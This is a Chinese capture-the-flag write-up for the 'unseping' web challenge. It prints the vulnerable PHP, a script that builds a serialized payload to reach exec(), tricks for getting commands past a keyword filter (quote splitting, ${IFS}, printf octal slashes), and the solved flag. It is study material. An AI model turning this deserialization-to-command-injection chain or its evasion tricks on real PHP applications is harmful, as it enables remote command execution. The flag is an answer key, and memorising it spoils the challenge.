攻防世界-Web-unseping

知识点

1.php反序列化

2.命令执行绕过

步骤

打开网站,是php代码,审计。

php 复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) { //初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ 
        if (in_array($this->method, array("ping"))) { //判断method是否存在ping
            call_user_func_array(array($this, $this->method), $this->args); //调用method,参数为args
        }
    } 
 
    function ping($ip){
        exec($ip, $result); //执行ip,结果为result,并输出
        var_dump($result);
    }

    function waf($str){ //过滤函数,过滤了,/,cat,flag等
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //调用waf,反序列化时调用
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

综上,post接受ctf数据,将method为ping,参数为要执行的命令,并绕过waf。

注意:这里的参数是数组,因为在__wakeup中foreach是k,v的形式。

1.基本反序列化代码

php 复制代码
<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease('ping',array('ls')); 
$b = serialize($a);
echo($b);
echo(base64_encode($b));
?>

2.绕过ls

使用l""s或者l''s

3.绕过空格

使用${IFS}

4.绕过/

使用$(printf "\57")

flag{de2e33ce-fdfe-4132-87ba-3b97d641a9f7}

相关推荐
xierui1231235 小时前
给内容 Agent 接平台账号前,先设计四层权限:读、写、预填、提交
人工智能·网络安全·aigc·软件工程
Sagittarius_A*9 小时前
[LitCTF 2026] lit_elgamal_handshake
密码学·ctf·crypto·elgamal
qq_2976708710 小时前
第 4 篇:HTTP 和浏览器——HTTPS 不只是「把 HTTP 包一层 TLS」那么简单
网络安全·https·tls
黄金龙PLUS13 小时前
SPARKLE置换算法的优缺点
算法·网络安全·密码学·哈希算法·同态加密
sbjdhjd14 小时前
PHP RCE 多层绕过实战:关键字过滤、空格替换与 php://filter 伪协议 | 02
网络·安全·web安全·网络安全·云计算·安全架构·rce
智者知已应修善业15 小时前
C#用一个循环[等效]取出字符串中的数字
网络·c#·web·string·语言
Fnetlink11 天前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
TechWayfarer1 天前
Cloudflare 9·15新政倒计时:用IP风险画像识别AI爬虫,防止误伤Googlebot
网络·人工智能·爬虫·python·tcp/ip·网络安全
ynm1111 天前
2026.8.31(2)【AES】MRCTF2020 Unravel!!
网络安全·buuctf·青少年ctf
三8441 天前
SSRF 从入门到实战:原理、危害与基础利用
服务器·网络安全·ssrf·#web安全